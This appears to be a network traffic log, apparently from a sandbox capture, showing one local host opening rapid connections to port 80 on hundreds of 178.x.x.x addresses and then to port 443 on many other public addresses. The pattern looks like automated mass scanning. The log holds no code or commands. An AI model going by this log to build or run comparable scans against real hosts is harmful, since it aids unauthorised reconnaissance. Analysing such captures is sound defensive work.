Mar 21, 2024 05:16:52.916584015 CET	19035	80	192.168.2.23	178.249.16.63
Mar 21, 2024 05:16:52.916594028 CET	19035	80	192.168.2.23	178.219.89.79
Mar 21, 2024 05:16:52.916611910 CET	19035	80	192.168.2.23	178.42.72.113
Mar 21, 2024 05:16:52.916630030 CET	19035	80	192.168.2.23	178.136.90.243
Mar 21, 2024 05:16:52.916642904 CET	19035	80	192.168.2.23	178.238.69.67
Mar 21, 2024 05:16:52.916661024 CET	19035	80	192.168.2.23	178.159.162.213
Mar 21, 2024 05:16:52.916671038 CET	19035	80	192.168.2.23	178.91.153.173
Mar 21, 2024 05:16:52.916688919 CET	19035	80	192.168.2.23	178.107.201.88
Mar 21, 2024 05:16:52.916708946 CET	19035	80	192.168.2.23	178.120.44.197
Mar 21, 2024 05:16:52.916724920 CET	19035	80	192.168.2.23	178.2.157.241
Mar 21, 2024 05:16:52.916739941 CET	19035	80	192.168.2.23	178.169.28.155
Mar 21, 2024 05:16:52.916754961 CET	19035	80	192.168.2.23	178.190.171.158
Mar 21, 2024 05:16:52.916764021 CET	19035	80	192.168.2.23	178.64.13.84
Mar 21, 2024 05:16:52.916781902 CET	19035	80	192.168.2.23	178.182.219.204
Mar 21, 2024 05:16:52.916802883 CET	19035	80	192.168.2.23	178.203.31.231
Mar 21, 2024 05:16:52.916816950 CET	19035	80	192.168.2.23	178.46.33.234
Mar 21, 2024 05:16:52.916836023 CET	19035	80	192.168.2.23	178.195.197.74
Mar 21, 2024 05:16:52.916850090 CET	19035	80	192.168.2.23	178.135.110.139
Mar 21, 2024 05:16:52.916860104 CET	19035	80	192.168.2.23	178.159.40.66
Mar 21, 2024 05:16:52.916878939 CET	19035	80	192.168.2.23	178.84.251.17
Mar 21, 2024 05:16:52.916888952 CET	19035	80	192.168.2.23	178.128.126.135
Mar 21, 2024 05:16:52.916912079 CET	19035	80	192.168.2.23	178.193.68.23
Mar 21, 2024 05:16:52.916929007 CET	19035	80	192.168.2.23	178.255.27.161
Mar 21, 2024 05:16:52.916943073 CET	19035	80	192.168.2.23	178.166.38.238
Mar 21, 2024 05:16:52.916960001 CET	19035	80	192.168.2.23	178.106.145.237
Mar 21, 2024 05:16:52.916977882 CET	19035	80	192.168.2.23	178.98.64.50
Mar 21, 2024 05:16:52.916990042 CET	19035	80	192.168.2.23	178.78.255.129
Mar 21, 2024 05:16:52.917006969 CET	19035	80	192.168.2.23	178.225.232.60
Mar 21, 2024 05:16:52.917026043 CET	19035	80	192.168.2.23	178.109.40.75
Mar 21, 2024 05:16:52.917043924 CET	19035	80	192.168.2.23	178.34.111.96
Mar 21, 2024 05:16:52.917057991 CET	19035	80	192.168.2.23	178.128.252.164
Mar 21, 2024 05:16:52.917073011 CET	19035	80	192.168.2.23	178.235.16.14
Mar 21, 2024 05:16:52.917090893 CET	19035	80	192.168.2.23	178.139.214.73
Mar 21, 2024 05:16:52.917102098 CET	19035	80	192.168.2.23	178.1.165.91
Mar 21, 2024 05:16:52.917121887 CET	19035	80	192.168.2.23	178.106.151.220
Mar 21, 2024 05:16:52.917130947 CET	19035	80	192.168.2.23	178.239.95.78
Mar 21, 2024 05:16:52.917151928 CET	19035	80	192.168.2.23	178.61.68.62
Mar 21, 2024 05:16:52.917165041 CET	19035	80	192.168.2.23	178.169.1.138
Mar 21, 2024 05:16:52.917181015 CET	19035	80	192.168.2.23	178.31.113.213
Mar 21, 2024 05:16:52.917200089 CET	19035	80	192.168.2.23	178.202.220.218
Mar 21, 2024 05:16:52.917232990 CET	19035	80	192.168.2.23	178.138.47.82
Mar 21, 2024 05:16:52.917232990 CET	19035	80	192.168.2.23	178.134.9.146
Mar 21, 2024 05:16:52.917244911 CET	19035	80	192.168.2.23	178.118.155.125
Mar 21, 2024 05:16:52.917258978 CET	19035	80	192.168.2.23	178.200.141.226
Mar 21, 2024 05:16:52.917280912 CET	19035	80	192.168.2.23	178.15.130.77
Mar 21, 2024 05:16:52.917292118 CET	19035	80	192.168.2.23	178.226.6.137
Mar 21, 2024 05:16:52.917306900 CET	19035	80	192.168.2.23	178.151.71.87
Mar 21, 2024 05:16:52.917320013 CET	19035	80	192.168.2.23	178.199.41.235
Mar 21, 2024 05:16:52.917340040 CET	19035	80	192.168.2.23	178.128.142.166
Mar 21, 2024 05:16:52.917352915 CET	19035	80	192.168.2.23	178.160.109.64
Mar 21, 2024 05:16:52.917368889 CET	19035	80	192.168.2.23	178.86.184.177
Mar 21, 2024 05:16:52.917387009 CET	19035	80	192.168.2.23	178.181.92.153
Mar 21, 2024 05:16:52.917397022 CET	19035	80	192.168.2.23	178.33.229.158
Mar 21, 2024 05:16:52.917418003 CET	19035	80	192.168.2.23	178.100.151.160
Mar 21, 2024 05:16:52.917423964 CET	19035	80	192.168.2.23	178.104.90.9
Mar 21, 2024 05:16:52.917442083 CET	19035	80	192.168.2.23	178.213.253.61
Mar 21, 2024 05:16:52.917454958 CET	19035	80	192.168.2.23	178.149.25.93
Mar 21, 2024 05:16:52.917474031 CET	19035	80	192.168.2.23	178.19.245.5
Mar 21, 2024 05:16:52.917490005 CET	19035	80	192.168.2.23	178.6.120.238
Mar 21, 2024 05:16:52.917499065 CET	19035	80	192.168.2.23	178.10.137.24
Mar 21, 2024 05:16:52.917524099 CET	19035	80	192.168.2.23	178.184.162.141
Mar 21, 2024 05:16:52.917536974 CET	19035	80	192.168.2.23	178.174.201.23
Mar 21, 2024 05:16:52.917545080 CET	19035	80	192.168.2.23	178.157.32.55
Mar 21, 2024 05:16:52.917557001 CET	19035	80	192.168.2.23	178.48.40.17
Mar 21, 2024 05:16:52.917577028 CET	19035	80	192.168.2.23	178.120.102.79
Mar 21, 2024 05:16:52.917589903 CET	19035	80	192.168.2.23	178.201.241.13
Mar 21, 2024 05:16:52.917608023 CET	19035	80	192.168.2.23	178.224.243.222
Mar 21, 2024 05:16:52.917629004 CET	19035	80	192.168.2.23	178.161.67.118
Mar 21, 2024 05:16:52.917634010 CET	19035	80	192.168.2.23	178.21.162.220
Mar 21, 2024 05:16:52.917650938 CET	19035	80	192.168.2.23	178.60.187.181
Mar 21, 2024 05:16:52.917670012 CET	19035	80	192.168.2.23	178.140.26.119
Mar 21, 2024 05:16:52.917682886 CET	19035	80	192.168.2.23	178.100.93.57
Mar 21, 2024 05:16:52.917701006 CET	19035	80	192.168.2.23	178.155.36.204
Mar 21, 2024 05:16:52.917715073 CET	19035	80	192.168.2.23	178.3.168.61
Mar 21, 2024 05:16:52.917733908 CET	19035	80	192.168.2.23	178.78.6.109
Mar 21, 2024 05:16:52.917749882 CET	19035	80	192.168.2.23	178.199.39.251
Mar 21, 2024 05:16:52.917766094 CET	19035	80	192.168.2.23	178.218.1.189
Mar 21, 2024 05:16:52.917778015 CET	19035	80	192.168.2.23	178.94.2.179
Mar 21, 2024 05:16:52.917798042 CET	19035	80	192.168.2.23	178.11.29.145
Mar 21, 2024 05:16:52.917805910 CET	19035	80	192.168.2.23	178.95.228.156
Mar 21, 2024 05:16:52.917824030 CET	19035	80	192.168.2.23	178.217.153.27
Mar 21, 2024 05:16:52.917833090 CET	19035	80	192.168.2.23	178.47.233.38
Mar 21, 2024 05:16:52.917850971 CET	19035	80	192.168.2.23	178.176.156.191
Mar 21, 2024 05:16:52.917865038 CET	19035	80	192.168.2.23	178.79.80.52
Mar 21, 2024 05:16:52.917875051 CET	19035	80	192.168.2.23	178.141.9.239
Mar 21, 2024 05:16:52.917889118 CET	19035	80	192.168.2.23	178.150.199.90
Mar 21, 2024 05:16:52.917908907 CET	19035	80	192.168.2.23	178.126.62.32
Mar 21, 2024 05:16:52.917923927 CET	19035	80	192.168.2.23	178.125.115.112
Mar 21, 2024 05:16:52.917937040 CET	19035	80	192.168.2.23	178.45.226.209
Mar 21, 2024 05:16:52.917954922 CET	19035	80	192.168.2.23	178.3.0.46
Mar 21, 2024 05:16:52.917973042 CET	19035	80	192.168.2.23	178.0.34.40
Mar 21, 2024 05:16:52.917985916 CET	19035	80	192.168.2.23	178.234.200.70
Mar 21, 2024 05:16:52.918004036 CET	19035	80	192.168.2.23	178.210.134.223
Mar 21, 2024 05:16:52.918016911 CET	19035	80	192.168.2.23	178.165.158.85
Mar 21, 2024 05:16:52.918029070 CET	19035	80	192.168.2.23	178.242.218.160
Mar 21, 2024 05:16:52.918051958 CET	19035	80	192.168.2.23	178.168.138.79
Mar 21, 2024 05:16:52.918067932 CET	19035	80	192.168.2.23	178.126.205.111
Mar 21, 2024 05:16:52.918095112 CET	19035	80	192.168.2.23	178.128.121.90
Mar 21, 2024 05:16:52.918114901 CET	19035	80	192.168.2.23	178.145.193.251
Mar 21, 2024 05:16:52.918123007 CET	19035	80	192.168.2.23	178.188.93.73
Mar 21, 2024 05:16:52.918138981 CET	19035	80	192.168.2.23	178.56.142.141
Mar 21, 2024 05:16:52.918155909 CET	19035	80	192.168.2.23	178.174.155.85
Mar 21, 2024 05:16:52.918178082 CET	19035	80	192.168.2.23	178.218.90.80
Mar 21, 2024 05:16:52.918195963 CET	19035	80	192.168.2.23	178.98.147.2
Mar 21, 2024 05:16:52.918212891 CET	19035	80	192.168.2.23	178.167.147.81
Mar 21, 2024 05:16:52.918225050 CET	19035	80	192.168.2.23	178.155.197.238
Mar 21, 2024 05:16:52.918231010 CET	19035	80	192.168.2.23	178.219.60.16
Mar 21, 2024 05:16:52.918250084 CET	19035	80	192.168.2.23	178.165.84.112
Mar 21, 2024 05:16:52.918270111 CET	19035	80	192.168.2.23	178.26.254.146
Mar 21, 2024 05:16:52.918270111 CET	19035	80	192.168.2.23	178.183.25.133
Mar 21, 2024 05:16:52.918279886 CET	19035	80	192.168.2.23	178.19.246.205
Mar 21, 2024 05:16:52.918303013 CET	19035	80	192.168.2.23	178.110.89.78
Mar 21, 2024 05:16:52.918323994 CET	19035	80	192.168.2.23	178.66.25.100
Mar 21, 2024 05:16:52.918344975 CET	19035	80	192.168.2.23	178.43.67.89
Mar 21, 2024 05:16:52.918358088 CET	19035	80	192.168.2.23	178.1.71.144
Mar 21, 2024 05:16:52.918386936 CET	19035	80	192.168.2.23	178.137.43.100
Mar 21, 2024 05:16:52.918401957 CET	19035	80	192.168.2.23	178.209.124.208
Mar 21, 2024 05:16:52.918406963 CET	19035	80	192.168.2.23	178.17.38.199
Mar 21, 2024 05:16:52.918415070 CET	19035	80	192.168.2.23	178.0.83.1
Mar 21, 2024 05:16:52.918442965 CET	19035	80	192.168.2.23	178.121.169.11
Mar 21, 2024 05:16:52.918445110 CET	19035	80	192.168.2.23	178.11.155.101
Mar 21, 2024 05:16:52.918457031 CET	19035	80	192.168.2.23	178.208.71.110
Mar 21, 2024 05:16:52.918464899 CET	19035	80	192.168.2.23	178.73.224.71
Mar 21, 2024 05:16:52.918488979 CET	19035	80	192.168.2.23	178.103.132.221
Mar 21, 2024 05:16:52.918492079 CET	19035	80	192.168.2.23	178.46.64.166
Mar 21, 2024 05:16:52.918502092 CET	19035	80	192.168.2.23	178.99.42.251
Mar 21, 2024 05:16:52.918523073 CET	19035	80	192.168.2.23	178.123.102.59
Mar 21, 2024 05:16:52.918633938 CET	19035	80	192.168.2.23	178.173.3.3
Mar 21, 2024 05:16:52.918652058 CET	19035	80	192.168.2.23	178.51.183.238
Mar 21, 2024 05:16:52.918678045 CET	19035	80	192.168.2.23	178.77.55.152
Mar 21, 2024 05:16:52.918680906 CET	19035	80	192.168.2.23	178.6.178.10
Mar 21, 2024 05:16:52.918704033 CET	19035	80	192.168.2.23	178.18.4.132
Mar 21, 2024 05:16:52.918714046 CET	19035	80	192.168.2.23	178.173.151.46
Mar 21, 2024 05:16:52.918761969 CET	19035	80	192.168.2.23	178.94.134.164
Mar 21, 2024 05:16:52.918761969 CET	19035	80	192.168.2.23	178.75.87.146
Mar 21, 2024 05:16:52.918764114 CET	19035	80	192.168.2.23	178.206.84.213
Mar 21, 2024 05:16:52.918764114 CET	19035	80	192.168.2.23	178.94.232.96
Mar 21, 2024 05:16:52.918804884 CET	19035	80	192.168.2.23	178.132.199.23
Mar 21, 2024 05:16:52.918806076 CET	19035	80	192.168.2.23	178.41.231.37
Mar 21, 2024 05:16:52.918807030 CET	19035	80	192.168.2.23	178.23.4.159
Mar 21, 2024 05:16:52.918826103 CET	19035	80	192.168.2.23	178.91.234.201
Mar 21, 2024 05:16:52.918845892 CET	19035	80	192.168.2.23	178.73.73.79
Mar 21, 2024 05:16:52.918881893 CET	19035	80	192.168.2.23	178.238.162.138
Mar 21, 2024 05:16:52.918888092 CET	19035	80	192.168.2.23	178.30.179.7
Mar 21, 2024 05:16:52.918891907 CET	19035	80	192.168.2.23	178.49.13.73
Mar 21, 2024 05:16:52.918906927 CET	19035	80	192.168.2.23	178.68.99.116
Mar 21, 2024 05:16:52.918951988 CET	19035	80	192.168.2.23	178.206.89.192
Mar 21, 2024 05:16:52.918951988 CET	19035	80	192.168.2.23	178.193.188.2
Mar 21, 2024 05:16:52.918952942 CET	19035	80	192.168.2.23	178.195.178.219
Mar 21, 2024 05:16:52.918962002 CET	19035	80	192.168.2.23	178.3.141.231
Mar 21, 2024 05:16:52.918983936 CET	19035	80	192.168.2.23	178.125.171.160
Mar 21, 2024 05:16:52.918999910 CET	19035	80	192.168.2.23	178.151.106.190
Mar 21, 2024 05:16:52.919008017 CET	19035	80	192.168.2.23	178.240.88.222
Mar 21, 2024 05:16:52.919028044 CET	19035	80	192.168.2.23	178.190.24.190
Mar 21, 2024 05:16:52.919044018 CET	19035	80	192.168.2.23	178.231.140.133
Mar 21, 2024 05:16:52.919121981 CET	19035	80	192.168.2.23	178.40.106.195
Mar 21, 2024 05:16:52.919121981 CET	19035	80	192.168.2.23	178.156.16.83
Mar 21, 2024 05:16:52.919122934 CET	19035	80	192.168.2.23	178.159.255.52
Mar 21, 2024 05:16:52.919123888 CET	19035	80	192.168.2.23	178.164.174.148
Mar 21, 2024 05:16:52.919123888 CET	19035	80	192.168.2.23	178.92.157.74
Mar 21, 2024 05:16:52.919127941 CET	19035	80	192.168.2.23	178.85.228.130
Mar 21, 2024 05:16:52.919127941 CET	19035	80	192.168.2.23	178.204.230.168
Mar 21, 2024 05:16:52.919148922 CET	19035	80	192.168.2.23	178.122.219.1
Mar 21, 2024 05:16:52.919167042 CET	19035	80	192.168.2.23	178.192.218.126
Mar 21, 2024 05:16:52.919182062 CET	19035	80	192.168.2.23	178.77.101.11
Mar 21, 2024 05:16:52.919203997 CET	19035	80	192.168.2.23	178.13.87.81
Mar 21, 2024 05:16:52.919219971 CET	19035	80	192.168.2.23	178.130.205.1
Mar 21, 2024 05:16:52.919244051 CET	19035	80	192.168.2.23	178.15.165.82
Mar 21, 2024 05:16:52.919251919 CET	19035	80	192.168.2.23	178.196.40.29
Mar 21, 2024 05:16:52.919256926 CET	19035	80	192.168.2.23	178.23.207.28
Mar 21, 2024 05:16:52.919315100 CET	19035	80	192.168.2.23	178.104.143.79
Mar 21, 2024 05:16:52.919317007 CET	19035	80	192.168.2.23	178.12.164.14
Mar 21, 2024 05:16:52.919321060 CET	19035	80	192.168.2.23	178.63.211.226
Mar 21, 2024 05:16:52.919321060 CET	19035	80	192.168.2.23	178.75.137.149
Mar 21, 2024 05:16:52.919327021 CET	19035	80	192.168.2.23	178.150.247.93
Mar 21, 2024 05:16:52.919342995 CET	19035	80	192.168.2.23	178.120.158.17
Mar 21, 2024 05:16:52.919384956 CET	19035	80	192.168.2.23	178.105.205.179
Mar 21, 2024 05:16:52.919397116 CET	19035	80	192.168.2.23	178.100.167.85
Mar 21, 2024 05:16:52.919409990 CET	19035	80	192.168.2.23	178.164.54.160
Mar 21, 2024 05:16:52.919414043 CET	19035	80	192.168.2.23	178.60.222.246
Mar 21, 2024 05:16:52.919466972 CET	19035	80	192.168.2.23	178.2.120.74
Mar 21, 2024 05:16:52.919466972 CET	19035	80	192.168.2.23	178.86.52.103
Mar 21, 2024 05:16:52.919469118 CET	19035	80	192.168.2.23	178.69.181.68
Mar 21, 2024 05:16:52.919491053 CET	19035	80	192.168.2.23	178.235.195.193
Mar 21, 2024 05:16:52.919498920 CET	19035	80	192.168.2.23	178.13.37.92
Mar 21, 2024 05:16:52.919504881 CET	19035	80	192.168.2.23	178.249.107.23
Mar 21, 2024 05:16:52.919509888 CET	19035	80	192.168.2.23	178.57.5.105
Mar 21, 2024 05:16:52.919521093 CET	19035	80	192.168.2.23	178.175.223.211
Mar 21, 2024 05:16:52.919533968 CET	19035	80	192.168.2.23	178.133.33.9
Mar 21, 2024 05:16:52.919554949 CET	19035	80	192.168.2.23	178.124.241.30
Mar 21, 2024 05:16:52.919570923 CET	19035	80	192.168.2.23	178.79.222.18
Mar 21, 2024 05:16:52.919631958 CET	19035	80	192.168.2.23	178.137.90.38
Mar 21, 2024 05:16:52.919636965 CET	19035	80	192.168.2.23	178.54.205.86
Mar 21, 2024 05:16:52.919636965 CET	19035	80	192.168.2.23	178.145.196.70
Mar 21, 2024 05:16:52.919650078 CET	19035	80	192.168.2.23	178.89.172.157
Mar 21, 2024 05:16:52.919652939 CET	19035	80	192.168.2.23	178.4.2.88
Mar 21, 2024 05:16:52.919665098 CET	19035	80	192.168.2.23	178.223.147.4
Mar 21, 2024 05:16:52.919676065 CET	19035	80	192.168.2.23	178.100.7.54
Mar 21, 2024 05:16:52.919698000 CET	19035	80	192.168.2.23	178.173.200.23
Mar 21, 2024 05:16:52.919699907 CET	19035	80	192.168.2.23	178.83.80.187
Mar 21, 2024 05:16:52.919712067 CET	19035	80	192.168.2.23	178.111.86.58
Mar 21, 2024 05:16:52.919734001 CET	19035	80	192.168.2.23	178.198.27.51
Mar 21, 2024 05:16:52.919751883 CET	19035	80	192.168.2.23	178.205.66.102
Mar 21, 2024 05:16:52.919835091 CET	19035	80	192.168.2.23	178.176.190.163
Mar 21, 2024 05:16:52.919836998 CET	19035	80	192.168.2.23	178.57.206.6
Mar 21, 2024 05:16:52.919836998 CET	19035	80	192.168.2.23	178.100.178.218
Mar 21, 2024 05:16:52.921752930 CET	19025	443	192.168.2.23	178.60.216.50
Mar 21, 2024 05:16:52.921773911 CET	443	19025	178.60.216.50	192.168.2.23
Mar 21, 2024 05:16:52.921827078 CET	19025	443	192.168.2.23	178.60.216.50
Mar 21, 2024 05:16:52.921842098 CET	19025	443	192.168.2.23	79.101.96.50
Mar 21, 2024 05:16:52.921863079 CET	19025	443	192.168.2.23	109.235.248.15
Mar 21, 2024 05:16:52.921863079 CET	443	19025	79.101.96.50	192.168.2.23
Mar 21, 2024 05:16:52.921864986 CET	19025	443	192.168.2.23	178.95.43.75
Mar 21, 2024 05:16:52.921864986 CET	19025	443	192.168.2.23	212.141.129.148
Mar 21, 2024 05:16:52.921884060 CET	443	19025	109.235.248.15	192.168.2.23
Mar 21, 2024 05:16:52.921894073 CET	443	19025	178.95.43.75	192.168.2.23
Mar 21, 2024 05:16:52.921899080 CET	443	19025	212.141.129.148	192.168.2.23
Mar 21, 2024 05:16:52.921945095 CET	19025	443	192.168.2.23	178.95.43.75
Mar 21, 2024 05:16:52.921945095 CET	19025	443	192.168.2.23	212.141.129.148
Mar 21, 2024 05:16:52.921947002 CET	19025	443	192.168.2.23	109.235.248.15
Mar 21, 2024 05:16:52.921981096 CET	19025	443	192.168.2.23	79.101.96.50
Mar 21, 2024 05:16:52.922049999 CET	19025	443	192.168.2.23	212.97.79.18
Mar 21, 2024 05:16:52.922050953 CET	19025	443	192.168.2.23	5.206.86.205
Mar 21, 2024 05:16:52.922051907 CET	19025	443	192.168.2.23	178.255.144.242
Mar 21, 2024 05:16:52.922055960 CET	443	19025	212.97.79.18	192.168.2.23
Mar 21, 2024 05:16:52.922063112 CET	19025	443	192.168.2.23	118.25.21.80
Mar 21, 2024 05:16:52.922066927 CET	443	19025	178.255.144.242	192.168.2.23
Mar 21, 2024 05:16:52.922066927 CET	443	19025	5.206.86.205	192.168.2.23
Mar 21, 2024 05:16:52.922075033 CET	443	19025	118.25.21.80	192.168.2.23
Mar 21, 2024 05:16:52.922076941 CET	19025	443	192.168.2.23	42.6.245.88
Mar 21, 2024 05:16:52.922076941 CET	19025	443	192.168.2.23	2.203.1.102
Mar 21, 2024 05:16:52.922077894 CET	19025	443	192.168.2.23	94.15.29.211
Mar 21, 2024 05:16:52.922085047 CET	443	19025	42.6.245.88	192.168.2.23
Mar 21, 2024 05:16:52.922096014 CET	443	19025	2.203.1.102	192.168.2.23
Mar 21, 2024 05:16:52.922101021 CET	443	19025	94.15.29.211	192.168.2.23
Mar 21, 2024 05:16:52.922105074 CET	19025	443	192.168.2.23	210.219.15.73
Mar 21, 2024 05:16:52.922110081 CET	19025	443	192.168.2.23	94.23.146.185
Mar 21, 2024 05:16:52.922116041 CET	443	19025	210.219.15.73	192.168.2.23
Mar 21, 2024 05:16:52.922116041 CET	443	19025	94.23.146.185	192.168.2.23
Mar 21, 2024 05:16:52.922116995 CET	19025	443	192.168.2.23	5.100.48.68
Mar 21, 2024 05:16:52.922122955 CET	19025	443	192.168.2.23	212.97.79.18
Mar 21, 2024 05:16:52.922123909 CET	19025	443	192.168.2.23	5.206.86.205
Mar 21, 2024 05:16:52.922126055 CET	19025	443	192.168.2.23	178.255.144.242
Mar 21, 2024 05:16:52.922128916 CET	443	19025	5.100.48.68	192.168.2.23
Mar 21, 2024 05:16:52.922130108 CET	19025	443	192.168.2.23	42.6.245.88
Mar 21, 2024 05:16:52.922132969 CET	19025	443	192.168.2.23	94.15.29.211
Mar 21, 2024 05:16:52.922163010 CET	19025	443	192.168.2.23	118.25.21.80
Mar 21, 2024 05:16:52.922180891 CET	19025	443	192.168.2.23	2.203.1.102
Mar 21, 2024 05:16:52.922219038 CET	19025	443	192.168.2.23	109.69.210.27
Mar 21, 2024 05:16:52.922219038 CET	19025	443	192.168.2.23	42.79.83.131
Mar 21, 2024 05:16:52.922221899 CET	19025	443	192.168.2.23	118.60.235.95
Mar 21, 2024 05:16:52.922221899 CET	19025	443	192.168.2.23	118.114.153.179
Mar 21, 2024 05:16:52.922223091 CET	19025	443	192.168.2.23	42.203.186.107
Mar 21, 2024 05:16:52.922223091 CET	19025	443	192.168.2.23	5.100.48.68
Mar 21, 2024 05:16:52.922223091 CET	19025	443	192.168.2.23	2.84.174.229
Mar 21, 2024 05:16:52.922224045 CET	19025	443	192.168.2.23	37.142.84.100
Mar 21, 2024 05:16:52.922224998 CET	19025	443	192.168.2.23	79.63.196.53
Mar 21, 2024 05:16:52.922224998 CET	19025	443	192.168.2.23	79.118.180.164
Mar 21, 2024 05:16:52.922221899 CET	19025	443	192.168.2.23	94.23.146.185
Mar 21, 2024 05:16:52.922226906 CET	19025	443	192.168.2.23	210.144.158.193
Mar 21, 2024 05:16:52.922228098 CET	443	19025	109.69.210.27	192.168.2.23
Mar 21, 2024 05:16:52.922231913 CET	19025	443	192.168.2.23	178.12.219.247
Mar 21, 2024 05:16:52.922234058 CET	443	19025	42.203.186.107	192.168.2.23
Mar 21, 2024 05:16:52.922234058 CET	19025	443	192.168.2.23	42.71.107.160
Mar 21, 2024 05:16:52.922234058 CET	443	19025	118.60.235.95	192.168.2.23
Mar 21, 2024 05:16:52.922234058 CET	19025	443	192.168.2.23	79.53.254.71
Mar 21, 2024 05:16:52.922236919 CET	443	19025	37.142.84.100	192.168.2.23
Mar 21, 2024 05:16:52.922238111 CET	443	19025	42.79.83.131	192.168.2.23
Mar 21, 2024 05:16:52.922240973 CET	443	19025	178.12.219.247	192.168.2.23
Mar 21, 2024 05:16:52.922241926 CET	19025	443	192.168.2.23	210.219.15.73
Mar 21, 2024 05:16:52.922244072 CET	443	19025	42.71.107.160	192.168.2.23
Mar 21, 2024 05:16:52.922244072 CET	443	19025	2.84.174.229	192.168.2.23
Mar 21, 2024 05:16:52.922246933 CET	443	19025	118.114.153.179	192.168.2.23
Mar 21, 2024 05:16:52.922247887 CET	443	19025	210.144.158.193	192.168.2.23
Mar 21, 2024 05:16:52.922247887 CET	443	19025	79.53.254.71	192.168.2.23
Mar 21, 2024 05:16:52.922250032 CET	443	19025	79.63.196.53	192.168.2.23
Mar 21, 2024 05:16:52.922250986 CET	19025	443	192.168.2.23	79.71.159.41
Mar 21, 2024 05:16:52.922251940 CET	19025	443	192.168.2.23	5.224.158.230
Mar 21, 2024 05:16:52.922251940 CET	443	19025	79.118.180.164	192.168.2.23
Mar 21, 2024 05:16:52.922260046 CET	443	19025	5.224.158.230	192.168.2.23
Mar 21, 2024 05:16:52.922260046 CET	443	19025	79.71.159.41	192.168.2.23
Mar 21, 2024 05:16:52.922262907 CET	19025	443	192.168.2.23	109.69.210.27
Mar 21, 2024 05:16:52.922271967 CET	19025	443	192.168.2.23	42.203.186.107
Mar 21, 2024 05:16:52.922276020 CET	19025	443	192.168.2.23	118.60.235.95
Mar 21, 2024 05:16:52.922278881 CET	19025	443	192.168.2.23	42.71.107.160
Mar 21, 2024 05:16:52.922280073 CET	19025	443	192.168.2.23	210.144.158.193
Mar 21, 2024 05:16:52.922281027 CET	19025	443	192.168.2.23	37.142.84.100
Mar 21, 2024 05:16:52.922281027 CET	19025	443	192.168.2.23	79.63.196.53
Mar 21, 2024 05:16:52.922285080 CET	19025	443	192.168.2.23	178.12.219.247
Mar 21, 2024 05:16:52.922290087 CET	19025	443	192.168.2.23	79.118.180.164
Mar 21, 2024 05:16:52.922295094 CET	19025	443	192.168.2.23	42.79.83.131
Mar 21, 2024 05:16:52.922298908 CET	19025	443	192.168.2.23	118.114.153.179
Mar 21, 2024 05:16:52.922303915 CET	19025	443	192.168.2.23	79.71.159.41
Mar 21, 2024 05:16:52.922303915 CET	19025	443	192.168.2.23	5.224.158.230
Mar 21, 2024 05:16:52.922303915 CET	19025	443	192.168.2.23	2.84.174.229
Mar 21, 2024 05:16:52.922307014 CET	19025	443	192.168.2.23	79.53.254.71
Mar 21, 2024 05:16:52.922393084 CET	19025	443	192.168.2.23	79.133.91.249
Mar 21, 2024 05:16:52.922393084 CET	19025	443	192.168.2.23	79.9.91.213
Mar 21, 2024 05:16:52.922395945 CET	19025	443	192.168.2.23	5.231.178.92
Mar 21, 2024 05:16:52.922398090 CET	19025	443	192.168.2.23	94.131.141.147
Mar 21, 2024 05:16:52.922399998 CET	443	19025	79.133.91.249	192.168.2.23
Mar 21, 2024 05:16:52.922401905 CET	443	19025	5.231.178.92	192.168.2.23
Mar 21, 2024 05:16:52.922405005 CET	443	19025	94.131.141.147	192.168.2.23
Mar 21, 2024 05:16:52.922405958 CET	443	19025	79.9.91.213	192.168.2.23
Mar 21, 2024 05:16:52.922414064 CET	19025	443	192.168.2.23	94.213.53.190
Mar 21, 2024 05:16:52.922414064 CET	19025	443	192.168.2.23	94.175.76.142
Mar 21, 2024 05:16:52.922415972 CET	19025	443	192.168.2.23	37.108.231.27
Mar 21, 2024 05:16:52.922419071 CET	443	19025	94.213.53.190	192.168.2.23
Mar 21, 2024 05:16:52.922420979 CET	443	19025	94.175.76.142	192.168.2.23
Mar 21, 2024 05:16:52.922421932 CET	443	19025	37.108.231.27	192.168.2.23
Mar 21, 2024 05:16:52.922426939 CET	19025	443	192.168.2.23	2.138.242.102
Mar 21, 2024 05:16:52.922434092 CET	19025	443	192.168.2.23	79.170.56.35
Mar 21, 2024 05:16:52.922435045 CET	19025	443	192.168.2.23	109.254.29.28
Mar 21, 2024 05:16:52.922436953 CET	443	19025	2.138.242.102	192.168.2.23
Mar 21, 2024 05:16:52.922441006 CET	443	19025	79.170.56.35	192.168.2.23
Mar 21, 2024 05:16:52.922442913 CET	19025	443	192.168.2.23	5.231.178.92
Mar 21, 2024 05:16:52.922442913 CET	19025	443	192.168.2.23	79.9.91.213
Mar 21, 2024 05:16:52.922446966 CET	443	19025	109.254.29.28	192.168.2.23
Mar 21, 2024 05:16:52.922452927 CET	19025	443	192.168.2.23	79.133.91.249
Mar 21, 2024 05:16:52.922452927 CET	19025	443	192.168.2.23	94.213.53.190
Mar 21, 2024 05:16:52.922456980 CET	19025	443	192.168.2.23	94.175.76.142
Mar 21, 2024 05:16:52.922457933 CET	19025	443	192.168.2.23	94.131.141.147
Mar 21, 2024 05:16:52.922457933 CET	19025	443	192.168.2.23	37.108.231.27
Mar 21, 2024 05:16:52.922460079 CET	19025	443	192.168.2.23	2.138.242.102
Mar 21, 2024 05:16:52.922491074 CET	19025	443	192.168.2.23	118.50.28.65
Mar 21, 2024 05:16:52.922497034 CET	443	19025	118.50.28.65	192.168.2.23
Mar 21, 2024 05:16:52.922517061 CET	19025	443	192.168.2.23	94.75.26.1
Mar 21, 2024 05:16:52.922518015 CET	19025	443	192.168.2.23	79.170.56.35
Mar 21, 2024 05:16:52.922523022 CET	443	19025	94.75.26.1	192.168.2.23
Mar 21, 2024 05:16:52.922528982 CET	19025	443	192.168.2.23	79.169.108.77
Mar 21, 2024 05:16:52.922535896 CET	19025	443	192.168.2.23	109.254.29.28
Mar 21, 2024 05:16:52.922537088 CET	443	19025	79.169.108.77	192.168.2.23
Mar 21, 2024 05:16:52.922538042 CET	19025	443	192.168.2.23	37.231.116.38
Mar 21, 2024 05:16:52.922545910 CET	19025	443	192.168.2.23	210.4.151.36
Mar 21, 2024 05:16:52.922547102 CET	19025	443	192.168.2.23	79.94.134.246
Mar 21, 2024 05:16:52.922549963 CET	19025	443	192.168.2.23	118.45.205.34
Mar 21, 2024 05:16:52.922549963 CET	19025	443	192.168.2.23	109.22.252.241
Mar 21, 2024 05:16:52.922550917 CET	19025	443	192.168.2.23	118.50.28.65
Mar 21, 2024 05:16:52.922550917 CET	19025	443	192.168.2.23	42.214.174.179
Mar 21, 2024 05:16:52.922552109 CET	443	19025	37.231.116.38	192.168.2.23
